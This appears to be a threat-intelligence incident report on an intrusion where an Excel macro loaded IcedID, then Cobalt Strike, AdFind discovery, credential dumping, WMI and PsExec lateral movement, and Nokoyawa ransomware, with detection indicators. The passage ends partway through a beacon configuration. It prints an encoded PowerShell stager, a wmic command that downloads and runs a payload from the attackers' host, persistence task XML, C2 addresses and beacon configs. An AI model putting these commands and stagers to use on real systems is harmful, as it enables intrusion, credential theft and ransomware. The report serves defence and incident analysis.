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adfind

cobaltstrike

icedid

macro

nokoyawa

ransomware

xls

IcedID Macro Ends in Nokoyawa Ransomware

May 22, 2023

Threat actors have moved to other means of initial access, such as ISO files combined with LNKs or OneNote payloads, but some appearances of VBA macros in Office documents can still be seen in use.

In this case we document an incident taking place during Q4 of 2022 consisting of threat actors targeting [Italian](#) organizations with Excel maldocs that deploy IcedID. The threat actors deploying such a campaign may hope to target organizations who have not updated their Microsoft Office deployments after the newly released patches to [block macros on documents downloaded from the internet](#).

We have [previously reported](#) on IcedID intrusions that have migrated to ISO files, however, this report is one of the most recent that will focus on the traditional Excel/macro intrusion vector.

Once inside, the threat actors pivoted using Cobalt Strike and RDP before a domain wide deployment of Nokoyawa ransomware with the help of PsExec. Nokowaya ransomware is a family

with ties to [Karma/Nemty](#).

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Case Summary

This intrusion began with a malicious Excel document. We assess with medium-high confidence that this document was delivered as part of a malicious email campaign during the first half of October 2022, based on public reporting that overlaps with multiple characteristics observed. Upon opening the Excel document, the macros would be executed when a user clicked on an embedded image. The macro code was responsible for downloading and writing an IcedID DLL payload to disk. The macro then used a renamed rundll32 binary to execute the malicious DLL.

After reaching out to the initial command and control server, automated discovery ran from the IcedID process around two minutes after execution. This discovery used the same suite of Microsoft binaries as we have [previously reported](#) for the IcedID malware family. At this time, the malware also established persistence on the beachhead host using a scheduled task.

Around two hours after the initial malware ran, IcedID loaded several Cobalt Strike beacons on the beachhead. Within minutes of running Cobalt Strike on the beachhead the threat actors proceeded to elevate to SYSTEM permissions and dump LSASS memory using the beacons. Following this

activity, the threat actors conducted further reconnaissance, and then moved laterally to a Domain Controller through the execution of a Cobalt Strike payload via WMI.

Next, discovery tasks continued from the beachhead host, including network scans for port 1433 (MSSQL) and browsing network shares with an interest in password files. The threat actors appeared to have removed some contents of the network shares off the network as canary files report the documents being opened off network minutes later. After this, the threat actors remained quiet over the next several days.

On the fourth day, the threat actors returned briefly to execute a few commands on the Domain Controller related to the enumeration of domain computers and high privilege user account groups. Privilege escalation was also observed on the system via named pipe impersonation.

Early on the sixth day, the threat actors became active again launching the Edge browser on the beachhead host and appeared to download a file from dropmefiles[.]com. But after completing this, they went silent again for around another eight hours. Then, from the beachhead host, a new process was spawned from the IcedID malware; and from this shell, the threat actors began enumerating Active Directory using adget and AdFind.

The threat actors then began to spread laterally using a combination of Cobalt Strike beacon DLLs, batch scripts, and WMI commands. More credential dumping was observed, followed by additional AdFind and other Windows discovery commands. The threat actors then continued lateral movement and began checking RDP access across the environment. A batch file was run enumerating hostnames throughout the environment using nslookup. Some further pivoting around systems and targeted discovery continued throughout the rest of the day.

On the seventh day, around 23 hours since the last activity in the environment the threat actors began the final phase of the intrusion. The threat actors connected to a compromised server via RDP. From this server they would stage the ransomware deployment. They deployed the ransomware payload, Sysinternals PsExec, and a cluster of batch files 1.bat-6.bat and p.bat. Opening a command prompt, they moved through executing the batch files copying p.bat, a renamed PsExec, and the ransomware payload to all domain joined hosts. They then used the batch scripts to execute the ransomware payload via PsExec and WMI.

The time to ransomware (TTR) was around 148 hours (~6 days) from the initial infection. After the intrusion, contact was made with the threat actors using their support site and the price of the ransom was quoted around \$200,000 USD in Bitcoin. No ransom was paid as a result of this intrusion.

Analysts

Analysis and reporting completed by [@iiamaleks](#), [@MittenSec](#), & [@0xtornado](#).

MITRE ATT&CK

Initial Access

This intrusion is linked to an IcedID malspam campaign that was observed in October 2022 targeting Italian organizations based on overlap in the maldoc template and the IcedID C2 server.

<https://twitter.com/reecdeep/status/1577979717717721088?s=20&t=QWDlpjACeLzPOEy4DDGnUQ>



@reecdeep



➔ <https://simipimi.com/>



#CyberSec #infosec #cybercrime #infosecurity

[illegible]

```
5; gid=
```

```

1 HTTP/1.1 404 Not Found
2 Server: nginx
3 Date: Thu, 06 Oct 2022
4 Content-Type: text/html
5 Connection: close
6 Content-Length: 268
7
8 <!DOCTYPE HTML PUBLIC "
9 <html>
10   <head>
11     <title>
12       404 Not Found
13     </title>
14   </head>
15   <body>
16     <h1>
17       Not Found
18     </h1>
19     <p>
20       The requested URI
21     </p>
22     <hr>
23     <address>
24       Apache Server at
25     </address>
26   </body>
27 </html>

```

6 Retweets 27 Likes



This case involved an IcedID payload delivered through an Excel maldoc containing VBA macros that were linked to the two images embedded in the document, which caused the macros to execute when a user clicks on either of the images:

4_202210250456866742.xls [Compatibility Mode] - Excel

File Home Insert Page Layout Formulas Data Review View Help

B5

APRI



Ricevuta di pagamento	
Interdata a:	BANDONI CRISTINA
Codice fiscale:	BNDCT70M67E7150
Data/ora:	20/04/2022 15:37:40
Transazione numero:	202204073680076358
Agenzia della Riscossione:	Agenzia delle entrate-Riscossione
Cod. Fisc. Agenzia Risc.	13756881002
Identificativo PSP:	BCITITNM - Intesa Sanpaolo S.p.A.
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Dettaglio transazione	
UV ¹ :	8006205000612665
Codice documento:	8006205000612665
Importo originario:	€ 156,16
Cartella/Rovisco n.:	0622020002650236000
Importo tributo:	€ 179,40
Oneri di riscossione:	€ 10,88
Interessi di mora:	€ 2,00
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Ready

The macro associated with the maldoc reached out to a hard-coded domain and downloaded the first stage IcedID payload. More on this in the next section.


```
16 With ActiveSheet.QueryTables.Add(Connection:=App44("3uAr7l:hl+21tK0n3s0:/120/Ss7Nim3Sini008ml.20cDQoVm5"), Destination:=ActiveSheet.Range("$A$2"))
```

Execution

IcedID

Once the VBA macro was invoked, Excel connected to the hard-coded domain and downloaded the first stage of the IcedID payload.

When the VBA macro from Excel calls out to the hard-coded domain, it has multiple interesting characteristics, including:

- Two OPTIONS requests followed by a GET request.
- User-agent fields mentioning Microsoft Office.
- Specific HTTP headers such as X-Office-Major-Version , X-MSGETWEBURL , X-IDCRL_ACCEPTED , and UA-CPU.

Once the IcedID payload is successfully retrieved, it will be decoded with Base64 and written to disk. In this case, the payload was written to the path retrieved from `Application.DefaultFilePath`, which is the default path used by Excel when it opens files.

The random name generated for the IcedID payload may be either 1 to 7 random digits, or 4500. This is because the `Rnd` function will return “a value less than 1 but greater than or equal to zero”.

Once the IcedID payload is successfully written to disk, the following post deployment steps are initiated:

- Rundll32.exe is copied into a file named calc.exe under the path returned by `Application.DefaultFilePath` .
- Calc.exe (renamed rundll32.exe) is used to invoke the IcedID payload.

In this case, rundll32.exe was copied into the user Documents folder and named calc.exe. The name 'calc.exe' is hard-coded into the VBA code and will not be changed.

Once the VBA macros invoked the IcedID payload, the parent-child process relationship between Excel and calc.exe was observed.

The following diagram provides a visual summary of the process to execute IcedID on the endpoint.

IcedID VNC

The threat actors were observed making use of an VNC module that was spawned by IcedID to spawn the Microsoft Edge browser:

We were able to reconstruct some of the VNC traffic thanks to [@0xThiebaut](#)'s tool [PCAPeek](#). You can see the below options such as Edge, Chrome, Firefox, CMD, Task Manager and run dialog. Based on the visual it appears to be the KeyHole VNC module [reported first observed](#) in Oct 2022 by NVISO.

In another instance, a run dialog was observed being used to execute the calc.exe file that was created earlier. More information can be found about this [here](#).

However, the command below would have no effect in this case as calc.exe is a renamed version of rundll32 and no parameters were passed.

Several other programs were seen run in this manner, as seen in process execution logs below:

Cobalt Strike

The threat actors used Cobalt Strike beacons throughout the intrusion. The first beacon was executed via PowerShell, which in turn was executed initially by a command shell which was started by the IcedID malware at the same time a DLL beacon was also executed.

The downloaded PowerShell payload, previously hosted on `hxxps://aicsoftware[.]com:757/coin`, is available on [VirusTotal](#). Here is the content of the payload, where we can observe an object being

created in memory using an encoded string. We will walk through decoding this string to view the Cobalt Strike configuration present within.

```
$s=New-Object IO.MemoryStream(  
[Convert]::FromBase64String("H4sIAAAAAAAAA/9y969OySLIv+nnmr+gPK6K7g16tIqLu  
iBVxEBUQES94wdkTE6DIRZA7ivvs//1kVqGP79tvz8yOFFvLeSIMH6GoS1ZefplVWWyc4j83R  
eafCi0+Oz/9587Jcj++/cT+9a+X8nYq8H/85x+uU/wjyeLTP6zzOXPy/Kf/9de/LK3Min765T  
8qK/tHFJ/L0PntJ/IDCzrnMnN+/ctf/voXcqm85dbF+cfNKvzK+UfkFF58zn/6r59++ZuQJOM  
4svzb3//H/xDLLHNuBf39u+QUQp47kR36Tv7Lrz/9vz/tPSdz/103A+dU/PS/fvqPf/wuhbFt  
hU2xWrROHoxCuJ3x3jw+WTiC3zdJ6Be//Pw//  
<---CROPPED_BASE64_CODE--->  
/Pj8+Pz4/Pj8+Pz4/Pj8+Pz4/Pj83/580/ff/rpD9tj9u3nP96//cu32j9/o//+aX/59sfrKv  
stOG7CX62jOFzw75r2/du//fSHP1RFf/nj/a900T/yn9Z3aq7Z+ukPf6OmZdl1RbX+4hf5Jfz  
69ZVaS77CX8eHS5gdT36YXZMgzH91Vlker/Z//fOfh+HFDvdhtLqEg2M2EI fghwP3jHBFT//  
vKV/+C0KL7+dsmPw22qzycI8/7YLS004bzZ+3ez3396S7CJW++5+fwy+//Lt90s2Zbu/XYpT+  
O1ff/4LjcK7ZH/95dtfFvS/zcZ/+H/fv1UVv3//Xt7UWmy3YaZu/7qiG7oed2FV889//qT7++  
XvJnIWHqJL/Mu32r1Zq9XwX1aj1v7rE2MdT8XPVXvUQNN6cyh/39VedvVdLUAmDl/hf+Ma/EO  
v//nsYv7ejsnm72ZPjug/nrLvP/3tp38HMzzV9OtbBQA=")); IEX (New-Object  
IO.StreamReader(New-Object IO.Compression.GzipStream($s,  
[IO.Compression.CompressionMode]::Decompress)).ReadToEnd());
```

After initial Base64 decoding, we found the payload used the [default Cobalt Strike XOR value of 35](#) which allows for the next step of decoding the payload.

Second stage decoding:

After this an MZ header can be observed. From there, the data can be saved and reviewed using [1768.py](#) from [Didier Stevens](#), revealing the Cobalt Strike configuration embedded within:

The full configuration:

```
Config found: xorkey b'.' 0x00000000 0x0000573e
0x0001 payload type                0x0001 0x0002 8 windows-
beacon_https-reverse_https
0x0002 port                        0x0001 0x0002 757
0x0003 sleeptime                   0x0002 0x0004 62518
0x0004 maxgetsize                  0x0002 0x0004 1864736
0x0005 jitter                      0x0001 0x0002 37
0x0007 publickey                   0x0003 0x0100
30819f302e06092a864886f72e010101050003818d00308189028181009380b188bdba677
c26ff8adc2fd5bde97d595fccaa7b389be52c2c76d5bad1537105f105e3303f03b29e6dd3
066367c59146249f914e4aa18d8045ec45dc96dddd6e0edb8dead60763dede9aa61c8821c
8045f7314580df527b8191fe0c831ffcb75564587be8ecf56cf938973f2cef6de420d9e1e
7dc9a8cc1cc520aec3371d02030100010000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
0
0x0008 server,get-uri              0x0003 0x0100
'aicsoftware\rcom,/templates'
0x000e SpawnTo                     0x0003 0x0010 (NULL ...)
0x001d spawnto_x86                 0x0003 0x0040
'%windir%\\syswow64\\regsvr32\\rexe'
0x001e spawnto_x64                 0x0003 0x0040
'%windir%\\sysnative\\regsvr32\\rexe'
0x001f CryptoScheme                0x0001 0x0002 0
0x001a get-verb                     0x0003 0x0010 'GET'
0x001b post-verb                   0x0003 0x0010 'POST'
0x001c HttpPostChunk               0x0002 0x0004 0
0x0025 license-id                  0x0002 0x0004 305419776
0x0026 bStageCleanup               0x0001 0x0002 1
0x0027 bCFGCaution                0x0001 0x0002 0
0x0009 useragent                   0x0003 0x0100 'Mozilla/5\r0
(Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601\r3\r9 (KHTML, like
Gecko) Version/9\r0\r2 Safari/601\r3\r9'
0x000a post-uri                     0x0003 0x0040 '/favicon'
0x000b Malleable_C2_Instructions   0x0003 0x0100
Transform Input: [7:Input,4,2:600,3,46]
Print
```

```
Remove 600 bytes from begin
BASE64
Unknown instruction: 0x2e
0x000c http_get_header          0x0003 0x0200
comonst_host_header Host: aicsoftware
Const_header Connection: close
Build Metadata:
[7:Metadata,46,3,2:wordpress_logged_in=,6:Cookie,9:mark=true]
Unknown instruction: 0x2e
BASE64
Prepend wordpress_logged_in=
Header Cookie
Const_parameter mark=true
0x002e process-inject-transform-x86      0x0003 0x0200
'\x00\x00\x00\x10\x00\x00\x00\x15Host:
aicsoftware\rcom\x00\x00\x00\n\x00\x00\x00\x11Connection:
close\x00\x00\x00\n\x00\x00\x00/Content-Type: application/x-www-form-
urlencoded\x00\x00\x00\x07\x00\x00\x00\x01\x00\x00\x00\x0b\x00\x00\x00\x0
3\x00\x00\x00\x02\x00\x00\x00\x04yes=\x00\x00\x00\x04\x00\x00\x00\x07\x00
\x00\x00\x00\x00\x00\x03\x00\x00\x00\x02\x00\x00\x00\x0e__session__id
=\x00\x00\x00\x06\x00\x00\x00\x06Cookie'
0x0036 HostHeader                0x0003 0x0080 (NULL ...)
0x0032 UsesCookies               0x0001 0x0002 1
0x0023 proxy_type                0x0001 0x0002 2 IE settings
0x003a TCP_FRAME_HEADER          0x0003 0x0080 '\x00\x04'
0x0039 SMB_FRAME_HEADER          0x0003 0x0080 '\x00\x04'
0x0037 EXIT_FUNK                 0x0001 0x0002 0
0x0028 killdate                  0x0002 0x0004 0
0x0029 textSectionEnd            0x0002 0x0004 177872
0x002a feSectionsInfo             0x0003 0x0028
'\x00À\x02\x00r,\x03\x00\x00À\x03\x00\x88\x85\x04\x00\x00\x90\x04\x004°
\x04\x00\x00À\x04\x00^İ\x04'
0x002b process-inject-start-rwx  0x0001 0x0002 4 PAGE_READWRITE
0x002c process-inject-use-rwx    0x0001 0x0002 32
PAGE_EXECUTE_READ
0x002d process-inject-min_alloc  0x0002 0x0004 6133
```

```
0x000d http_post_header          0x0003 0x0100
    Header  []
0x002f process-inject-transform-x64  0x0003 0x0100
'\x00\x00\x00\x06\x90\x90\x90\x90\x90\x90'
0x0035 process-inject-stub        0x0003 0x0010
'\uJp\x01\u0106^\x1aDø9)'
0x0033 process-inject-execute      0x0003 0x0080 '\x01\x04\x03'
0x0034 process-inject-allocation-method 0x0001 0x0002 0
0x0000
Guessing Cobalt Strike version: 4.2 (max 0x003a)
Sanity check Cobalt Strike config: OK
```

After using PowerShell beacons during the first day on the beachhead host and a Domain Controller, the threat actors moved to using DLL files exclusively for the remainder of Cobalt Strike beacons deployed during the intrusion. Other notable executions included the use of batch files:

```
C:\Windows\system32\cmd.exe /c c:\windows\temp\1.bat
-> rundll32.exe c:\windows\temp\1.dll, DllRegisterServer
```

Persistence

During the initial execution of IcedID, the following two files were created under the AppData Roaming folder of the user that executed it:

- **exdudipo.dll**: IcedID first stage.
- **license.dat**: Encoded version of the second stage which the first stage will load into memory.

A scheduled task was created that contained instructions on executing the IcedID DLL and the location of the license.dat file. This is a very common method that IcedID has used for persistence.

```
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2"
xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <URI>\{3774AD25-8218-8099-89BA-CE96C6E9DC4E}</URI>
  </RegistrationInfo>
  <Triggers>
    <TimeTrigger id="TimeTrigger">
      <Repetition>
        <Interval>PT1H</Interval>
        <StopAtDurationEnd>>false</StopAtDurationEnd>
      </Repetition>
      <StartBoundary>2012-01-01T12:00:00</StartBoundary>
      <Enabled>>true</Enabled>
    </TimeTrigger>
    <LogonTrigger id="LogonTrigger">
      <Enabled>>true</Enabled>
      <UserId>[REDACTED USER]</UserId>
    </LogonTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <RunLevel>HighestAvailable</RunLevel>
      <UserId>[REDACTED DOMAIN]\[REDACTED USER]</UserId>
      <LogonType>InteractiveToken</LogonType>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>>false</StopIfGoingOnBatteries>
    <AllowHardTerminate>>false</AllowHardTerminate>
    <StartWhenAvailable>>true</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
```

```
<Duration>PT10M</Duration>
<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="Author">
  <Exec>
    <Command>rundll32.exe</Command>
    <Arguments>"C:\Users\[REDACTED USER]\AppData\Roaming\{02959BFD-
29E0-6A95-3B77-5E55B8D01CB7}\{CA2AB541-E118-83C2-ADAD-
8729FDCA00C0}\exdudipo.dll",#1 --pa="AntiquePeanut\license.dat"
  </Arguments>
</Exec>
</Actions>
</Task>
```

The scheduled task was configured to execute every hour.

Privilege Escalation

Privilege escalation was completed on two systems via the named pipe *GetSystem* feature within the Cobalt Strike tool. An example is shown below via Sysmon event ID 1 – ProcessCreate Rule:

Defense Evasion

This intrusion displayed numerous techniques used by threat actors to evade detection.

Process Injection

The adversary was seen injecting code into legitimate processes via `CreateRemoteThread` which can be detected using Sysmon event ID 8.

The table below shows examples of injected processes found via an in memory yara scan using this [Malpedia yara rule](#):

Host	Process ID	ProcessName	CommandLine
workstation.domain.local	612	winlogon.exe	winlogon.exe
workstation.domain.local	828	svchost.exe	C:\Windows\system32\svchost.e
fileshare.domain.local	760	svchost.exe	C:\Windows\system32\svchost.e
fileshare.domain.local	4928	winlogon.exe	winlogon.exe
fileshare.domain.local	1960	rundll32.exe	rundll32.exe c:\windows\temp\1.
beachhead.domain.local	712	lsass.exe	C:\Windows\system32\lsass.exe
beachhead.domain.local	812	svchost.exe	C:\Windows\System32\svchost.e
beachhead.domain.local	5884	TextInputHost.exe	C:\Windows\SystemApps\Micros -ServerName:InputApp.AppXjdE
beachhead.domain.local	2036	sysmon64.exe	C:\Windows\sysmon64.exe -z sy
beachhead.domain.local	2568	regsvr32.exe	C:\Windows\syswow64\regsvr32
beachhead.domain.local	9760	cmd.exe	C:\Windows\SysWOW64\cmd.e:
server.domain.local	432	rundll32.exe	rundll32.exe 1.dll

File Deletion

Files that were dropped in temporary directories were deleted after execution as seen below with Sysmon event ID 11 and 23.

Below is the list of files seen being created and later deleted by the threat actor:


```
7.exe
adfind.bat
adfind.exe
adget.exe
ad.7z
1.bat
1.dll
7.exe
ns.bat
```

Renamed System Utilities

Adversaries typically rename common Windows system utilities to avoid triggering alerts that monitor utility usage. The table below summaries the renamed utilities observed in this intrusion.

Windows Utility	Renamed Windows Utility
rundll32.exe	C:\Users\<REDACTED>\Documents\calc.exe
psexesvc.exe	C:\Windows\mstdc.exe

Credential Access

The threat actors were observed accessing a file server, and browsing though files related to passwords. These would later be observed opened off network, more details in the [exfiltration section](#) on that activity.

On the second day of the intrusion, after moving laterally to a Domain Controller, LSASS was accessed from a Cobalt Strike process. The access granted value 0x1010 was observed. As [noted in a previous report](#), this value matches known [mimikatz access patterns](#). This logged event suggests Cobalt Strike accessed LSASS to dump credentials from memory. This activity was observed again on various hosts on the fourth and sixth days of the intrusion.

Discovery

The discovery phase primarily utilized built-in Windows tools. One utility seen was `chcp` which allows you to display or set the code page number. The default `chcp` value is determined by the Windows locale. The locale can indicate the language, country, and regional standards of that host (e.g. date and time formatting). After viewing the default page code, the adversary did change the value to 65001 to reflect the UTF-8 character set. We have seen this as a technique employed by IcedID for some time as reported in depth in [prior cases](#).

```
arp -a
chcp >&2
chcp 65001
chcp 65001 && c: && cd c:\
dir \\<REDACTED>\c$
ipconfig /all
net config workstation
net group "Domain Admins" /domain
net group "Domain Computers" /domain
```

```
net group "domain admins" /dom
net group "enterprise admins" /dom
net localgroup "administrators" /dom
net view /all
net view /all /domain
netl config workstation
nltest /domain_trusts
nltest /domain_trusts /all_trusts
ping <HOST_IP>
systeminfo
whoami
whoami /upn
```

Following the initial discovery commands mentioned above on day one, the threat actor scanned the network for port 1433, the default port used by Microsoft SQL server.

The discovery phase remained minimal leading into day six. The threat actors were seen dropping AdFind and adget.exe to reveal all users, groups, computers, organizational units, subnets, and trust objects within the domain.

```
adfind.exe -gcb -sc trustdmp
adfind.exe -f (objectcategory=group)
adfind.exe -subnets -f (objectCategory=subnet)
adfind.exe -f (objectcategory=organizationalUnit)
adfind.exe -f objectcategory=computer
adfind.exe -f (objectcategory=person)
```

Adget is a newer tool that we first observed in this [previous report](#) but generally this tool performs similar AD discovery as AdFind.

Following the Active Directory discovery activity, additional remote discovery actions were observed using WMI to gather information about Windows OS version and licensing on the hosts.

```
C:\Windows\system32\cmd.exe /C wmic /node:"REDACTED" /user:"USER"  
/password:"REDACTED" os get caption
```

Then another recon round occurred using NSLOOKUP to map assets to IP addresses.

This was followed by network scans for RDP:

Lateral Movement

During this intrusion, threat actors used a number of different techniques to move laterally across the domain. The techniques used will be detailed in the following sections.

T1021.006 Remote Services: WinRM

Some of the threat actors' lateral activity was executed using WinRM, this could be observed by matching parent-child process trees and DCE RPC traffic.

T1047 WMI

Threat Actors ran the following command to download and execute an in memory PowerShell payload on a domain controller:

```
C:\Windows\System32\wbem\wmic.exe /node:REDACTED process call create  
\"cmd.exe /c powershell.exe -nop -w hidden -c \"\"\"IEX ((new-object  
net.webclient).downloadstring('https://aicsoftware[.]com:757/coin'))\"\"\"  
\"\"
```

WMI was also used also when executing remote DLL beacons:

```
C:\Windows\system32\cmd.exe /C wmic /node:"REDACTED" process call create  
"c:\windows\system32\rundll32.exe c:\windows\temp\1.dll,  
DllRegisterServer
```

WMI commands were also observed during ransom deployment:

```
wmic /node:REDACTED /user:DOMAIN\USER /password:REDACTED process call  
create cmd.exe /c copy \\REDACTED\c$\windows\temp\p.bat c:\windows\temp
```

T1021.002 Remote Services: SMB/Windows Admin Shares

The threat actors relied on SMB to move their tools throughout the network during the intrusion.

The threat actors used PSEXec to move laterally to servers during the ransom execution, the -r flag was used to rename the binary created on the remote server to `mstdc.exe`.

Below are some of the PsExec forensic artifacts logged in Windows Event Logs and Sysmon:

Overview of the mstdc.exe binary (renamed psexecsvc.exe):

Renaming PsExec is likely an action taken by threat actors to bypass basic PsExec anomaly rules. However, there are Sigma rules which detect this specific technique, as [shared](#) by Florian Roth back in 2019.

They also employed use of the Windows copy utility to move files around the network via SMB:

```
cmd.exe /c copy \\REDACTED\c$\windows\temp\p.bat c:\windows\temp\
```

T1021.001 Remote Services: RDP

Threat actors also used RDP during this intrusion. Below is an example of forensic artifacts left after using RDP to move laterally from the beachhead to one of the domain servers logged in Windows Event Logs using different providers:

Collection

During discovery actions, the threat actors were observed using 7-Zip to archive data collected from active directory using AdFind.

```
7.exe a -mx3 ad.7z ad_*
```

Command and Control

IcedID

In this case IcedID was observed with the campaign ID of 3298576311 communicating with a C2 server located at kicknocisd[.]com.

Suricata Rule Name	Domain	IP	AS ORG	Country
ET MALWARE Win32/IcedID Request Cookie	kicknocisd[.]com	159.65.169[.]200	DIGITALOCEAN-ASN	United States

After initial connections, IcedID command and control traffic moved to the following servers.

Domain	IP	Port	JA3
curabiebarristie[.]com	198.244.180.66	443	a0e9f5d64349fb13191bc781f81f42e1
stayersa[.]art	198.244.180.66	443	a0e9f5d64349fb13191bc781f81f42e1
guaracheza[.]pics	45.66.248.119	443	a0e9f5d64349fb13191bc781f81f42e1
belliecow[.]wiki	45.66.248.119	443	a0e9f5d64349fb13191bc781f81f42e1

Connections to one of the IcedID servers was observed in memory dumps from the beachhead host. This evidence is consistent with the connections to 45.66.248[.]119 observed from the renamed rundll32.exe that loaded the IcedID DLL during maldoc execution at the beginning of this case.

BackConnect VNC

During the intrusion we also observed connections to a BackConnect VNC IP address. These connections were also spawned from the running IcedID process on the beachhead host.

Alerts from [Lenny Hansson](#)'s [ruleset](#) fired on the traffic for the following alerts:

Suricata Alert	IP	Port
NF – Malware IcedID BackConnect – Wait Command	137.74.104.108	8080
NF – Malware IcedID BackConnect – Start VNC command – 11	137.74.104.108	8080

Here's another look at the VNC GUI from the attackers standpoint.

In the [execution section](#) we covered utilities launched by the threat actors from the VNC activity.

Web Service

On the sixth day, the threat actors launched an Edge browser on the beachhead host, via VNC as described in the execution section, and connected to the site [dropmefiles\[.\]com](https://dropmefiles.com) a site that offers free file transfer services. Data connections from the Edge browser in the SRUMDB indicate that a file download occurred but we were unable to determine what the file was or its purpose related to the intrusion.

Cobalt Strike

T1071 / S0154

The threat actors dropped and executed a malicious DLL, p1.dll, on the beachhead. This malicious DLL is a Cobalt Strike beacon reaching out to 23.29.115.152/aicsoftware[.]com on ports 757 and 8080. Later the threat actors also injected further beacons into memory reaching out to 50.3.132.232 /iconnectgs[.]com on port 8081. Later on day six, the threat actors added a new Cobalt Strike server to the intrusion, 5.8.18.242 on port 443 (see below for visualizing this activity).

Beaconing

Below is a screenshot of a packet captured from C2 traffic over HTTP. Encrypted POST requests made to iconnectgs[.]com (50.3.132[.]232) are seen:

Cobalt Strike Configurations

Domain	IP	Port	JA3	JA3
aicsoftware[.]com	23.29.115.152	757	a0e9f5d64349fb13191bc781f81f42e1	f176
aicsoftware[.]com	23.29.115.152	8080	N/A	N/A

```
{
  "beacontype": [
    "HTTP"
  ],
  "sleeptime": 62518,
  "jitter": 37,
  "maxgetsize": 1398708,
  "spawnto": "AAAAAAAAAAAAAAAAAAAAAA==",
  "license_id": 305419776,
  "cfg_caution": false,
```



```
"kill_date": null,
"server": {
  "hostname": "aicsoftware.com",
  "port": 8080,
  "publickey":
"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCTgLGIVbpnfCb/itwv1b3pfVlfzKp7OJv1
LCx21brRU3EF8QXjMD8Dsp5t0wZjZ8WRRiSfkU5KoY2ARexF3Jbd3W4O243q1gdj3t6aphyII
cgEX3MUWC71J7gZH+DIMf/LdVZFh76Oz1bPk4lz8s723kIunh59yajMHMUgrsM3HQIDAQABAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==",
},
"host_header": "",
"useragent_header": null,
"http-get": {
  "uri": "/br.js",
  "verb": "GET",
  "client": {
    "headers": null,
    "metadata": null
  },
},
"server": {
  "output": [
    "print",
    "prepend 600 characters",
    "base64",
    "mask"
  ]
},
},
"http-post": {
  "uri": "/es",
  "verb": "POST",
  "client": {
    "headers": null,
    "id": null,
    "output": null
  }
}
```

```
}
},
"tcp_frame_header":
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
"crypto_scheme": 0,
"proxy": {
    "type": null,
    "username": null,
    "password": null,
    "behavior": "Use IE settings"
},
"http_post_chunk": 0,
"uses_cookies": true,
"post-ex": {
    "spawnto_x86": "%windir%\syswow64\regsvr32.exe",
    "spawnto_x64": "%windir%\sysnative\regsvr32.exe"
},
"process-inject": {
    "allocator": "VirtualAllocEx",
    "execute": [
        "CreateThread",
        "RtlCreateUserThread",
        "CreateRemoteThread"
    ],
    "min_alloc": 6133,
    "starttrwx": false,
    "stub": "tUr+Aexqde3zXhpE+L05KQ==",
    "transform-x86": [
        "prepend '\\x90\\x90\\x90\\x90\\x90\\x90'"
    ],
    "transform-x64": [
        "prepend '\\x90\\x90\\x90\\x90\\x90\\x90'"
    ],
    "userwx": false
},
"dns-beacon": {
```

```
        "dns_idle": null,
        "dns_sleep": null,
        "maxdns": null,
        "beacon": null,
        "get_A": null,
        "get_AAAA": null,
        "get_TXT": null,
        "put_metadata": null,
        "put_output": null
    },
    "pipename": null,
    "smb_frame_header":
    "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
    ",
    "stage": {
        "cleanup": true
    },
    "ssh": {
        "hostname": null,
        "port": null,
        "username": null,
        "password": null,
        "privatekey": null
    }
}
```

Domain	IP	Port	JA3	JA3s
iconnectgs[.]com	50.3.132.232	8081	N/A	N/A

```
[{
    "spawnto": "AAAAAAAAAAAAAAAAAAAA\u003d\u003d",
```

```
"pipename": null,
"dns_beacon": {
  "put_metadata": null,
  "get_TXT": null,
  "get_AAAA": null,
  "get_A": null,
  "beacon": null,
  "maxdns": null,
  "dns_sleep": null,
  "put_output": null,
  "dns_idle": null
},
"smb_frame_header":
"AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u003d",
"post_ex": {
  "spawnto_x64": "%windir%\sysnative\svchost.exe",
  "spawnto_x86": "%windir%\syswow64\svchost.exe"
},
"stage": {
  "cleanup": "true"
},
"process_inject": {
  "stub": "snNvHLupDUIob8Qr+6dPTQ\u003d\u003d",
  "transform_x64": ["prepend \u0027\\x90\\x90\\x90\\x90\u0027"],
